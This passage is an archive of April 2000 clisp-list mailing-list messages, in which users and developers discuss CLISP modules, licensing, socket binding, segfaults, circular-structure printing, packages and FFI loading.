15:14:09 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain Subject: [clisp-list] newbie question re modules, esp CLX Hi, If this turns out to be a dumb question, I'm sorry. I have dug through the docs, and read the faq and I haven't found what I need. I have downloaded and installed the binary distribution of CLISP for Solaris 2.6. I would like to use the CLX and PostgreSQL modules. CLISP is working correctly, but is installed under my home directory, not /usr/local. CLX seems to be included, but I can't get the makefile to work correctly. It fails with the message: make: Fatal error: Don't know how to make target `defsystem.lsp' PostgreSQL does not seem to be there. I have a number of questions... What am I doing wrong, that I cannot compile the CLX? What does clisp-link really do? Am I only supposed to run it once, or every time I need to use CLX? Where can I get the PostgreSQL module? Are there other database modules available? (Oracle, MySql, etc) Thanks in advance Rupert Brooks National Atlas of Canada From sds@gnu.org Wed Apr 5 14:55:30 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id OAA17015 for ; Wed, 5 Apr 2000 14:55:29 -0700 Received: from ksp.com.ksp.com (sam [10.100.100.57]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 2HNQ1DY5; Wed, 5 Apr 2000 17:48:28 -0400 Sender: sds@ksp.com To: "Brooks, Rupert" Cc: "'clisp-list@lists.sourceforge.net'" Subject: Re: [clisp-list] newbie question re modules, esp CLX References: <2951561DB3DDD0118FEC00805FFE980503BB46CC@s5-ccr-r1> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: "Brooks, Rupert"'s message of "Wed Apr 05 14:12:27 EDT 2000" Date: 05 Apr 2000 17:48:26 -0400 Message-ID: Lines: 25 X-Mailer: Gnus v5.7/Emacs 20.6 >>>> In message <2951561DB3DDD0118FEC00805FFE980503BB46CC@s5-ccr-r1> >>>> On the subject of "[clisp-list] newbie question re modules, esp CLX" >>>> Sent on Wed Apr 05 14:12:27 EDT 2000 >>>> Honorable "Brooks, Rupert" writes: >> >> PostgreSQL does not seem to be there. the PostgreSQL module uses the C libraries - do you have PostgreSQL installed on your solaris machine? >> Where can I get the PostgreSQL module? Are there other database >> modules available? (Oracle, MySql, etc) clisp includes socket interface, so if you can connect to the database via a socket, you are there already. that said, you might want to visit : http://www.pmsf.de/pmai/MaiSQL.html http://www.chez.com/emarsden/ ftp://amirani.hit.uib.no/sql-odbc/ -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. The program isn't debugged until the last user is dead. From marcoxa@parades.rm.cnr.it Thu Apr 6 00:06:17 2000 Received: from copernico.parades.rm.cnr.it (copernico.parades.rm.cnr.it [150.146.37.21]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id AAA04877 for ; Thu, 6 Apr 2000 00:06:16 -0700 Received: (from marcoxa@localhost) by copernico.parades.rm.cnr.it (8.9.3/8.9.0) id IAA14823; Thu, 6 Apr 2000 08:57:40 +0200 (MET DST) Date: Thu, 6 Apr 2000 08:57:40 +0200 (MET DST) Message-Id: <200004060657.IAA14823@copernico.parades.rm.cnr.it> X-Authentication-Warning: copernico.parades.rm.cnr.it: marcoxa set sender to marcoxa@parades.rm.cnr.it using -f From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Reply-to: marcoxa@parades.rm.cnr.it Subject: [clisp-list] CLisp latest and ILISP First of all thanks for the latest CLisp. It fixes the problems with logical-pathname-translations and it is thus more usable for defsystem and friends. There is one thing I noticed in conjuction with ILISP. CLisp not takes a very long time to come up in the ILISP inferior lisp buffer. It eventually does and it works nicely, but before doing so it makes ILISP stall in the :binary state for quite some time (about a minute on my Ultra2). I haven't really looked into this and would like to know if anybody has noticed the same behavior. Cheers -- Marco Antoniotti =========================================== PARADES, Via San Pantaleo 66, I-00186 Rome, ITALY tel. +39 - 06 68 10 03 17, fax. +39 - 06 68 80 79 26 http://www.parades.rm.cnr.it/~marcoxa From azure@senstation.vvf.fi Thu Apr 6 00:50:04 2000 Received: from mail.valinux.com (nat-su-33.valinux.com [198.186.202.33]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id AAA06970 for ; Thu, 6 Apr 2000 00:50:04 -0700 Received: from senstation.vvf.fi ([195.74.10.211]) by mail.valinux.com with esmtp (Exim 2.12 #6) id 12d6ww-000218-00 for clisp-list@lists.sourceforge.net; Thu, 6 Apr 2000 00:43:35 -0700 Received: from azure by senstation.vvf.fi with local (Exim 3.12 #1 (Debian)) id 12d6rQ-0000XF-00; Thu, 06 Apr 2000 10:37:52 +0300 To: CLISP Users From: Hannu Koivisto Date: 06 Apr 2000 10:37:52 +0300 Message-ID: <874s9f1xyn.fsf@senstation.vvf.fi> Lines: 31 User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.5 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: Hannu Koivisto Subject: [clisp-list] License, libraries and FFI package Greetings, Let's say that I write a CL library or program layered on two parts; pure CL part and FFI to (LGPL/BSD/similar, i.e. that doesn't restrict me) non-CL library part (that is needed in first versions until I write the corresponding functionality in CL). I refuse to use GPL license for my library/program and wish to use BSD/LGPL/something-else instead. Now, if I want to add CLISP-support to the FFI layer, I naturally have to use CLISP's FFI package but the license says ``This copyright does *not* cover user programs that run in CLISP, if they don't reference symbols in CLISP's built-in packages (except the packages LISP, USER, COMMON-LISP, COMMON-LISP-USER, KEYWORD), i.e. if they don't rely on CLISP internals and would as well run in any other Common Lisp implementation.'' Am I correct to say that my library would need to be GPL too? This is my interpretation, although the intent vs. reality of that sentence in the CLISP's license collide a bit (in my opininion) since my library is intended to be usable in other CL's (actually, CMUCL is my primary target). Although I said ``Let's say I write'', this is actually a realistic situation for my library that, although not finished yet, is getting closer and I'd like to clarify whether I can make CLISP support for it or not. The same applies to many other libraries and applications that I intend to write, since few of them can be pure CL. -- Hannu From amoroso@mclink.it Thu Apr 6 06:53:41 2000 Received: from mail1.mclink.it (net128-007.mclink.it [195.110.128.7]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id GAA18055 for ; Thu, 6 Apr 2000 06:53:39 -0700 Received: from net145-052.mclink.it (net145-052.mclink.it [195.110.145.52]) by mail1.mclink.it (8.9.1/8.9.0) with SMTP id PAA09326 for ; Thu, 6 Apr 2000 15:47:24 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLisp latest and ILISP Date: Thu, 06 Apr 2000 15:47:43 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <200004060657.IAA14823@copernico.parades.rm.cnr.it> In-Reply-To: <200004060657.IAA14823@copernico.parades.rm.cnr.it> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit On Thu, 6 Apr 2000 08:57:40 +0200 (MET DST), Marco Antoniotti wrote: > There is one thing I noticed in conjuction with ILISP. CLisp not > takes a very long time to come up in the ILISP inferior lisp buffer. > It eventually does and it works nicely, but before doing so it makes > ILISP stall in the :binary state for quite some time (about a minute > on my Ultra2). Is your Ultra2 running a weather forecast computation in the background? :) CLISP 2000-03-06 takes just a few seconds under Red Hat Linux 5.2 (running on an old Pentium 200 with 64M of RAM) with GNU Emacs 20.3 and the latest ILISP. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From ola@hex.fi Thu Apr 6 07:42:26 2000 Received: from gatekeeper1.hex.fi (portsari.hex.fi [193.64.194.80]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA19873 for ; Thu, 6 Apr 2000 07:42:25 -0700 Received: from hexvcheck1.hex.fi (hexvcheck1.hex.fi [194.110.100.65]) by gatekeeper1.hex.fi (8.8.7/8.8.8) with ESMTP id RAA24861 for ; Thu, 6 Apr 2000 17:35:50 +0300 Received: from hexmail.hex.fi (unverified [194.110.100.59]) by hexmch1.hex.fi (Data Fellows SMTPRS 2.04) with ESMTP id ; Thu, 06 Apr 2000 17:46:27 +0300 Received: by hexmail.hex.fi with Internet Mail Service (5.5.2650.21) id ; Thu, 6 Apr 2000 17:35:43 +0300 Message-Id: <81E9DC9A2218D311B14900A0C9EDB005654E57@hexmail.hex.fi> From: Olli-Pekka Rinta-Koski To: "'clisp-list@lists.sourceforge.net'" Date: Thu, 6 Apr 2000 17:35:42 +0300 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] Why not use INADDR_ANY in socket-server? > I have been trying to get CLISP socket-server to work on OSF1 4.0e, with > little success. It seems that bind() always fails if an interface address > is supplied. However, if INADDR_ANY is supplied (the socket is bound to > all interfaces) then socket-server works as intended. I am not a socket > guru, so I don't know if there is a reason not to use INADDR_ANY, but I > think it would be convenient if it was at least an option. Proposed > modification to socket-server interface: > > (defun socket-server (&optional port-or-stream bind-to-any) > "If first optional argument PORT-OR-STREAM is NIL, SOCKET-SERVER works > as if it hadn't been supplied (port is chosen at random)." > > This wouldn't break any existing code. > > What do you think? > > Cheers, > ola > From kaasen@nvg.ntnu.no Wed Apr 12 02:11:40 2000 Received: from sabre-wulf.nvg.ntnu.no (IDENT:root@sabre-wulf.nvg.ntnu.no [129.241.210.67]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id CAA21346 for ; Wed, 12 Apr 2000 02:11:39 -0700 Received: from hagbart.nvg.ntnu.no ([IPv6:::ffff:129.241.210.68]:48402 "EHLO hagbart.nvg.ntnu.no" ident: "TIMEDOUT2" whoson: "-unregistered-") by sabre-wulf.nvg.ntnu.no with ESMTP id ; Wed, 12 Apr 2000 11:04:23 +0200 Date: Wed, 12 Apr 2000 11:04:12 +0200 (CEST) From: David Kaasen To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Read-line error? Hello! I am getting a strange error with my text editor written in Clisp. My settings are: clisp --version = CLISP 2000-03-06 (March 2000) uname -a = SunOS eros 5.7 Generic_106541-08 sun4u sparc It happens when I use (read-line) to read text strings from the terminal. In my program I also use (with-keyboard ... (read-char *keyboard-input*)), and I use ANSI escape sequences quite much. I don't use ffi. The error message says: *** - handle_fault error2 ! address = 0xDCB8 not in [0x19BE6000,0x19D016C0) ! SIGSEGV cannot be cured. Fault address = 0xDCB8. Segmentation Fault or sometimes only: Segmentation Fault It also happens that the screen gets messed up when I enter characters (to read-line). And sometimes, it works as it should. Do you have any idea of what is wrong? Regards, David Kaasen. From bmc@visi.net Thu Apr 13 06:40:25 2000 Received: from blimpo.visi.net (ppp31.ts3.Gloucester.visi.net [206.246.230.159]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id GAA12355 for ; Thu, 13 Apr 2000 06:40:24 -0700 Resent-From: bmc@visi.net Received: from bmc by blimpo.visi.net with local (Exim 3.12 #1 (Debian)) id 12fjjw-0003tv-00 for ; Thu, 13 Apr 2000 09:33:00 -0400 Date: Sun, 19 Mar 2000 13:05:58 -0500 From: Ben Collins To: clisp-list@lists.sourceforge.net Message-ID: <20000319130558.N241@visi.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.0.1i Resent-Date: Thu, 13 Apr 2000 09:33:00 -0400 Resent-To: clisp-list@lists.sourceforge.net Resent-Message-Id: Subject: [clisp-list] SPARC/Linux problems I've been beating my head over this problem. I've compiled three versions of clisp, with gcc 2.95.2 and gcc 2.7.2.3, and every one has this problem. Basically lisp.run segfaults. I ran it through some debuging and here is where gdb picks up the problem: (gdb) file ./lisp.run Reading symbols from ./lisp.run...done. (gdb) run Starting program: /home/bcollins/clisp-1999-07-22/src/./lisp.run Program received signal SIGSEGV, Segmentation fault. 0x13764 in gc_mark_stack (objptr=0x2e2ffffc) at spvw_garcol.d:384 384 { until (eq(*objptr,nullobj)) # bis STACK zu Ende ist: (gdb) bt #0 0x13764 in gc_mark_stack (objptr=0x2e2ffffc) at spvw_garcol.d:384 #1 0x137c8 in gc_markphase () at spvw_garcol.d:411 #2 0x13e1c in gar_col_normal () at spvw_garcol.d:1594 #3 0x14b44 in do_gar_col_simple () at spvw_garcol.d:2369 #4 0x8cb5c in with_gc_statistics (fun=0x14b38 ) at predtype.d:2571 #5 0x14b70 in gar_col_simple () at spvw_garcol.d:2397 #6 0x14ce0 in make_space_gc_TRUE (need=40, heapptr=0x13a25c) at spvw_allocate.d:225 #7 0x150d4 in allocate_vector (len=7) at spvw_typealloc.d:94 #8 0x18744 in init_subr_tab_2 () at spvw.d:1161 #9 0x19ec8 in initmem () at spvw.d:1549 #10 0x1b174 in main (argc=1, argv=0xeffffaa4) at spvw.d:2661 (gdb) print *objptr Cannot access memory at address 0x2e2ffffc. Any one know what's going on? Ben (please Cc me, I am not sub'd to the list) -- -----------=======-=-======-=========-----------=====------------=-=------ / Ben Collins -- ...on that fantastic voyage... -- Debian GNU/Linux \ ` bcollins@debian.org -- bcollins@openldap.org -- bmc@visi.net ' `---=========------=======-------------=-=-----=-===-======-------=--=---' From s2mdalle@titan.vcu.edu Tue Apr 18 17:22:58 2000 Received: from smtp02.mrf.mail.rcn.net (smtp02.mrf.mail.rcn.net [207.172.4.61]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id RAA26112 for ; Tue, 18 Apr 2000 17:22:57 -0700 Received: from 207-172-55-78.s78.tnt8.rcm.va.dialup.rcn.com ([207.172.55.78] helo=localhost.localdomain) by smtp02.mrf.mail.rcn.net with esmtp (Exim 2.12 #3) id 12hi9Q-00034p-00 for clisp-list@lists.sourceforge.net; Tue, 18 Apr 2000 20:15:29 -0400 Received: (from x@localhost) by localhost.localdomain (8.9.3/8.9.3) id UAA16040 for clisp-list@lists.sourceforge.net; Tue, 18 Apr 2000 20:09:33 -0400 Date: Tue, 18 Apr 2000 20:09:32 -0400 From: David Allen To: clisp-list@lists.sourceforge.net Message-ID: <20000418200932.A16025@localhost.localdomain> Reply-To: David Allen Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Subject: [clisp-list] CLISP 3-06-2000 evil behavior I'm a bit new to Lisp, but I've got a problem which I absolutely cannot imagine is the default behavior for a lisp. When I do this, my machine starts using 100% of the CPU and rapidly eating as much memory as it can get its hands on, quickly filling all of my RAM and swap space, and bringing the machine to its knees. (I am fully aware that this problem may be due to my lack of knowledge though, so if there is a silly reason this is happening, please let me in on the secret) Here's a transcript: [3]> (defstruct treenode left right parent) TREENODE [4]> (setq root (make-treenode)) #S(TREENODE :LEFT NIL :RIGHT NIL :PARENT NIL) [5]> (setq left1 (make-treenode)) #S(TREENODE :LEFT NIL :RIGHT NIL :PARENT NIL) [6]> (setq right1 (make-treenode)) #S(TREENODE :LEFT NIL :RIGHT NIL :PARENT NIL) [7]> (setf (treenode-left root) left1) #S(TREENODE :LEFT NIL :RIGHT NIL :PARENT NIL) [8]> (setf (treenode-right root) right1) #S(TREENODE :LEFT NIL :RIGHT NIL :PARENT NIL) Now THIS line I wouldn't recommend putting in, since it will cause the problem I'm talking about. (setf (treenode-parent left1) root) As you can probably see, I'm trying to build a tree-ish structure, that should look like this: root / \ left1 right1 Which works fine, until I try to set left1's parent node to root. That's how the tree is organized, and I know it's indirect self-reference, but shouldn't CLISP be able to handle it? When I issue that statement, I'm guessing that it's having the same effect as if I did: (defun stupid-recursion (x) (stupid-recursion (cdr x))) (stupid-loop nil) (i.e. memory hogging recursion that is sans-basecase.) Any help would be appreciated. -- David Allen http://opop.nols.com/ ---------------------------------------- "Our bombs are smarter than the average high school student. At least they can find Kuwait." -- A. Whitney Brown From azure@senstation.vvf.fi Wed Apr 19 00:51:58 2000 Received: from senstation.vvf.fi (senstation.vvf.fi [195.74.10.211]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id AAA06439 for ; Wed, 19 Apr 2000 00:51:57 -0700 Received: from azure by senstation.vvf.fi with local (Exim 3.12 #1 (Debian)) id 12hp9M-0006IF-00; Wed, 19 Apr 2000 10:43:52 +0300 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP 3-06-2000 evil behavior References: <20000418200932.A16025@localhost.localdomain> Mail-copies-to: never From: Hannu Koivisto Date: 19 Apr 2000 10:43:52 +0300 In-Reply-To: David Allen's message of "Tue, 18 Apr 2000 20:09:32 -0400" Message-ID: <87n1mqmt6v.fsf@senstation.vvf.fi> Lines: 11 User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.5 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: Hannu Koivisto David Allen writes: | I'm a bit new to Lisp, but I've got a problem which I absolutely | cannot imagine is the default behavior for a lisp. When I do this, my Well, whether you can imagine it or not, it is the default behaviour, and quite reasonable default behaviour indeed. See *PRINT-CIRCLE* if you want to change it. -- Hannu From marcoxa@parades.rm.cnr.it Wed Apr 19 08:29:24 2000 Received: from copernico.parades.rm.cnr.it (copernico.parades.rm.cnr.it [150.146.37.21]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id IAA20029; Wed, 19 Apr 2000 08:29:19 -0700 Received: (from marcoxa@localhost) by copernico.parades.rm.cnr.it (8.9.3/8.9.0) id RAA14895; Wed, 19 Apr 2000 17:23:48 +0200 (MET DST) Date: Wed, 19 Apr 2000 17:23:48 +0200 (MET DST) Message-Id: <200004191523.RAA14895@copernico.parades.rm.cnr.it> X-Authentication-Warning: copernico.parades.rm.cnr.it: marcoxa set sender to marcoxa@parades.rm.cnr.it using -f From: Marco Antoniotti To: ilisp@cons.org CC: cmucl-help@cons.org, clisp-list@lists.sourceforge.net, lug@lisp.de, clocc-list@lists.sourceforge.net Reply-to: marcoxa@parades.rm.cnr.it Subject: [clisp-list] ANNOUNCEMENT: ILISP 5.10.1 available. Hello, This is the official announcement of the availability of version 5.10.1 of ILISP, a comprehensive Inferior Lisp replacement for Emacs and XEmacs. ILISP 5.10.1 can be found in its official home at http://ilisp.cons.org You can download it from there. CVS support is in place at Source Forge (http://www.sourceforge.net). Look for project 'ilisp' there. The first import did not quite go as planned but things are there and should be working without too many problems. Instructions about subscribing to the `ilisp@cons.org' mailing list can also be found in that site. We encourage all the ILISP users to upgrade and to send feedback to the maintainers. This new release has been made possible especially thanks to Martin Atzmueller, Paolo Amoroso, Karl Fogel and many others, who are allowed to hold a grudge to the poster because of his forgetfulness. Here is the (beginning of the) History file for ILISP 5.10.1 ILISP HISTORY =============================================================================== Version: 5.10.1. ILISP is on SOURCEFORGE! Fixes and enhancements since 5.9.4. Many. -- More CLish conventions for naming variables. Note that 'ilisp-refix' is now 'ilisp-*prefix*' . Check your ilisp initializations in your .emacs or wherever you keep them. -- Better FSF compliance (see variable 'ilisp-*use-fsf-compliant-keybindings*') -- changed vars in ilisp-def: ilisp-*prefix* ilisp-*use-fsf-compliant-keybindings* ilisp-*use-frame-for-output* ilisp-*prefix-match* ilisp-*version* ilisp-*arglist-message-lisp-space-p* ilisp-*use-frame-for-arglist-output-p* ilisp-*enable-imenu-p* ilisp-*enable-cl-easy-menu-p* ilisp-*enable-scheme-easy-menu-p* ilisp-*enable-ild-support-p* ilisp-*use-hyperspec-interface-p* ilisp-*use-fi-clman-interface-p* ilisp-*directory* -- *.el: replaced vars. -- In ilisp-key: new custom: ilisp-bindings-*bind-space-p*: if t bind #\SPACE to #'ilisp-arglist-message-lisp-space -- Changed vars in ilisp-out: changed all sink's to ilisp-output-sink's ilisp-*icon-file* ilisp-*last-ilisp-output-sink* -- doc/ilisp.texi: replaced found vars of above with their replacements. -- doc/ilisp.texi: documented the frame-p stuff, arglist-p stuff, imenu-p stuff. -- doc/ilisp.texi: documented imenu.el, ilisp-imenu.el. -- ilisp-out.el & ilisp-chs.el: in ilisp-display-output-default: now printing of error messages in the lisp-listener should work!! at least it works for clisp, as I found out. -- ilisp-def: new variable ilisp-*arglist-message-switch-back-p* -- ilisp-hi: in lisp-send-region: fixed a bug; we had multiple outputs despite the fact that we should not have had that (eq switch 'result) => no display. -- sblisp.lisp: changed #'arglist; code is a adapted version of #'arglist in cmulisp.lisp. did not work for (arglist 'make-array) for example. -- cl-ilisp: reformatting of last ) ) [oops! :)] bugfix: special-operator-p replaced by special-form-p in #'ilisp-print-info-message. added support for ECL (ECLS). ============================================================================== Please check out the README files, especially in the `extra' directory (regarding the nature of the `hyperspec.el' software and site). Enjoy Marco Antoniotti and the ILISP maintainers -- Marco Antoniotti =========================================== PARADES, Via San Pantaleo 66, I-00186 Rome, ITALY tel. +39 - 06 68 10 03 17, fax. +39 - 06 68 80 79 26 http://www.parades.rm.cnr.it/~marcoxa -- Marco Antoniotti =========================================== PARADES, Via San Pantaleo 66, I-00186 Rome, ITALY tel. +39 - 06 68 10 03 17, fax. +39 - 06 68 80 79 26 http://www.parades.rm.cnr.it/~marcoxa From donc@isis.compsvcs.com Wed Apr 19 11:50:35 2000 Received: from isis.compsvcs.com. (cine-dyrad.cinenet.net [198.147.117.71] (may be forged)) by lists.sourceforge.net (8.9.3/8.9.3) with SMTP id LAA29662 for ; Wed, 19 Apr 2000 11:50:34 -0700 Received: by isis.compsvcs.com. (SMI-8.6/SMI-SVR4) id LAA15770; Wed, 19 Apr 2000 11:44:55 -0700 Date: Wed, 19 Apr 2000 11:44:55 -0700 Message-Id: <200004191844.LAA15770@isis.compsvcs.com.> From: donc@compsvcs.com (Don Cohen) To: clisp-list@lists.sourceforge.net Subject: [clisp-list] defpackage - use clos (defpackage "SSS" (:use "LISP" #+clisp "CLOS") ...) I need that clos in order to use the clos stuff in my package. Why is that? Shouldn't these things be exported from the lisp package? From haible@ilog.fr Wed Apr 19 14:03:08 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id OAA07873 for ; Wed, 19 Apr 2000 14:03:07 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id WAA23313 for ; Wed, 19 Apr 2000 22:51:58 +0200 (MET DST) Received: from oberkampf.ilog.fr ([172.17.4.69]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id WAA25225; Wed, 19 Apr 2000 22:54:57 +0200 (MET DST) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id WAA22644; Wed, 19 Apr 2000 22:54:54 +0200 (MET DST) Date: Wed, 19 Apr 2000 22:54:54 +0200 (MET DST) Message-Id: <200004192054.WAA22644@oberkampf.ilog.fr> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] defpackage - use clos In-Reply-To: <200004191844.LAA15770@isis.compsvcs.com.> References: <200004191844.LAA15770@isis.compsvcs.com.> Don Cohen asks: > > (defpackage "SSS" (:use "LISP" #+clisp "CLOS") ...) > > I need that clos in order to use the clos stuff in my package. > Why is that? So that you can use package "PCL" instead of "CLOS" if you like. > Shouldn't these things be exported from the lisp package? Not in CLtL1. If you want to assume ANSI CL behaviour, then you should better use package "COMMON-LISP" instead of "LISP", because ANSI-CL makes no claims about package "LISP" but standardizes package "COMMON-LISP". Bruno From azure@senstation.vvf.fi Wed Apr 19 14:19:03 2000 Received: from senstation.vvf.fi (senstation.vvf.fi [195.74.10.211]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id OAA08445 for ; Wed, 19 Apr 2000 14:19:03 -0700 Received: from azure by senstation.vvf.fi with local (Exim 3.12 #1 (Debian)) id 12i1kR-0007sA-00; Thu, 20 Apr 2000 00:10:59 +0300 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] defpackage - use clos References: <200004191844.LAA15770@isis.compsvcs.com.> Mail-copies-to: never From: Hannu Koivisto Date: 20 Apr 2000 00:10:59 +0300 In-Reply-To: donc@compsvcs.com's message of "Wed, 19 Apr 2000 11:44:55 -0700" Message-ID: <874s8xyexo.fsf@senstation.vvf.fi> Lines: 17 User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.5 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: Hannu Koivisto donc@compsvcs.com (Don Cohen) writes: | (defpackage "SSS" (:use "LISP" #+clisp "CLOS") ...) What is going on here is probably that you are confusing LISP package with COMMON-LISP package, which is especially easy to do if you have been using CMUCL where COMMON-LISP package has a non-standard (in a sense that it is not required to have such nickname; I think the standard allows it to have additional nicknames, though, so what CMUCL does is ok) nickname LISP in addition to required nickname CL. In CLISP there is a completely separate package called LISP that provides CLtL1/CLtL2 stuff excluding CLOS. So what you probably want to do is to say: (defpackage :sss (:use :common-lisp) ...) -- Hannu From thom.goodsell@usa.net Wed Apr 19 14:23:54 2000 Received: from awcst094.netaddress.usa.net (awcst094.netaddress.usa.net [204.68.24.94]) by lists.sourceforge.net (8.9.3/8.9.3) with SMTP id OAA08708 for ; Wed, 19 Apr 2000 14:23:54 -0700 Received: (qmail 16372 invoked by uid 60001); 19 Apr 2000 21:16:20 -0000 Message-ID: <20000419211620.16368.qmail@awcst094.netaddress.usa.net> Received: from 204.68.24.94 by awcst094 for [199.103.161.2] via web-mailer(M3.4.4.4) on Wed Apr 19 21:16:20 GMT 2000 Date: 19 Apr 00 17:16:20 EDT From: Thomas Goodsell To: clisp-list@lists.sourceforge.net X-Mailer: USANET web-mailer (M3.4.4.4) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id OAA08708 Subject: [clisp-list] evil behavior > Which works fine, until I try to set left1's parent node to root. > That's how the tree is organized, and I know it's indirect > self-reference, but shouldn't CLISP be able to handle it? CLISP can handle it. In a sense, the "problem" isn't with your code, nor with CLISP, but with the standard. What's happening is that CLISP is trying to print the result of what you've done. Something to the effect of: #S(TREENODE :LEFT NIL :RIGHT NIL :PARENT #S(TREENODE :LEFT #S(TREENODE :LEFT NIL :RIGHT NIL :PARENT #S(TREENODE . . . and so on, ad infinitum. As was mentioned earlier, check out *print-circle* for a way to get more intelligent behavior: #1=#S(TREENODE :LEFT NIL :RIGHT NIL :PARENT #S(TREENODE :LEFT #1 :RIGHT NIL :PARENT NIL)) Thom -----BEGIN GEEK CODE BLOCK----- Version: 3.1 GAT d s:+ a- C++$ ULSI++$ P--- L++$ E+>+++ W++ N+ o? K- w--(-) O? M+ V PS++(--) PE+(--) Y+>++ PGP->+ t+ 5++ X+ R tv- b+>+++ DI+ D---(+) G e+++ h---() r+++ y+++ ------END GEEK CODE BLOCK------ ____________________________________________________________________ Get free email and a permanent address at http://www.amexmail.com/?A=1 From kaasen@nvg.ntnu.no Fri Apr 28 05:25:30 2000 Received: from sabre-wulf.nvg.ntnu.no (IDENT:root@sabre-wulf.nvg.ntnu.no [129.241.210.67]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id FAA28234 for ; Fri, 28 Apr 2000 05:25:29 -0700 Received: from hagbart.nvg.ntnu.no ([IPv6:::ffff:129.241.210.68]:4366 "EHLO hagbart.nvg.ntnu.no" ident: "TIMEDOUT2" whoson: "-unregistered-") by sabre-wulf.nvg.ntnu.no with ESMTP id ; Fri, 28 Apr 2000 14:16:58 +0200 Date: Fri, 28 Apr 2000 14:16:47 +0200 (CEST) From: David Kaasen To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Using dll Hello! How can I call dynamic library routines from CLISP? I also need to access variables in the library. The program runs on both Unix and Windows, so there is an .so and a .dll library version, but I assume that makes no difference concerning lisp? Thanks in advance, David Kaasen. From emarsden@laas.fr Fri Apr 28 05:35:33 2000 Received: from laas.laas.fr (root@laas.laas.fr [140.93.0.15]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id FAA29046 for ; Fri, 28 Apr 2000 05:35:22 -0700 Received: from dukas.laas.fr (dukas [140.93.21.58]) by laas.laas.fr (8.9.3/8.9.3) with ESMTP id OAA11598; Fri, 28 Apr 2000 14:26:58 +0200 (MET DST) Received: (from emarsden@localhost) by dukas.laas.fr (8.9.3/8.9.3) id OAA10048; Fri, 28 Apr 2000 14:26:57 +0200 (MET DST) To: David Kaasen Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Using dll References: Organization: LAAS-CNRS http://www.laas.fr/ MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Eric-Conspiracy: there is no conspiracy X-Attribution: ecm X-URL: http://www.chez.com/emarsden/ From: Eric Marsden Date: 28 Apr 2000 14:26:57 +0200 In-Reply-To: David Kaasen's message of "Fri, 28 Apr 2000 14:16:47 +0200 (CEST)" Message-ID: Lines: 21 X-Mailer: Gnus v5.7/Emacs 20.4 >>>>> "dk" == David Kaasen writes: dk> How can I call dynamic library routines from CLISP? I also need dk> to access variables in the library. The program runs on both dk> Unix and Windows, so there is an .so and a .dll library version, dk> but I assume that makes no difference concerning lisp? unfortunately CLISP is not currently able to load shared libraries, both under Unix or MS Windows; you have to link your code statically (see the user manual section on the FFI). I did an experimental version of .so linking with an old version of CLISP (which probably could work with minor changes on the current release) which is available at I've been meaning to improve this work but never got around to it. -- Eric Marsden From Matthias.Lindner@MANIC-GmbH.de Fri Apr 28 06:18:18 2000 Received: from algol.manic-gmbh.de (janus.manic-gmbh.de [195.211.89.2]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id GAA30816 for ; 